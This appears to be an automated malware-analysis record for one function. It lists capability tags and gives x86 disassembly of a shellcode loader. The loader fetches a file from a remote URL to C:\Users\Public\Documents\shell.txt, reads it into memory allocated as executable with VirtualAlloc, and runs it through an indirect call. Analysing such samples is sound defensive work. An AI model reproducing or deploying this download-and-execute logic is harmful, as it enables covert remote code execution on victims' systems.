Function at 0x402fa0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x5ee000]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0x5ccc78
call fcn.00566478
add esp, 8
test eax, eax
je 0x4030e5
xorps xmm0, xmm0
push 0x30
movaps xmmword [ebp - 0x50], xmm0
call fcn.0040a0a2
movups xmm0, xmmword [str.C:UsersPublicDocuments_shell.txt]
mov edx, eax
mov dword [ebp - 0x40], 0x23
mov dword [ebp - 0x50], edx
add esp, 4
mov dword [ebp - 0x3c], 0x2f
movups xmmword [edx], xmm0
push 0x60
movups xmm0, xmmword [0x5cccd0]
movups xmmword [edx + 0x10], xmm0
mov cx, word [0x5ccce0]
mov word [edx + 0x20], cx
xorps xmm0, xmm0
mov al, byte [0x5ccce2]
mov byte [edx + 0x22], al
mov byte [edx + 0x23], 0
movaps xmmword [ebp - 0x30], xmm0
call fcn.0040a0a2
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x50]
mov dword [ebp - 0x20], 0x5c
mov edi, eax
mov dword [ebp - 0x1c], 0x5f
mov ecx, 0x17
mov esi, str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1733390083017_3.txt
add esp, 4
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x30]
mov byte [eax + 0x5c], 0
call fcn.00402c70
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0xf
jbe 0x40309f
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403095
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4031f8
push ecx
push edx
call fcn.0055adc3
add esp, 8
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp ecx, 0xf
jbe 0x4030e5
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4030db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4031f8
push ecx
push edx
call fcn.0055adc3
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push 0x5ccc78
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
cmp esi, 0xffffffff
jne 0x403122
push 0x5ccd48
push 0x5ccd50
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4031de
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x54], eax
cmp eax, 0xffffffff
jne 0x40314a
push 0
push 0x5ccd48
push 0x5ccd60
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4031d7
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 0x58], edi
push 0
test edi, edi
jne 0x403178
push 0x5ccd48
push 0x5ccd74
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4031d7
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x54]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4031b5
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x5c], eax
jne 0x4031b5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x58]
call eax
popal
push 0x8000
push 0
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x4031e3
push 0
push 0x5ccd48
push 0x5ccd84
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0055ab65
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
call fcn.005620ad
int3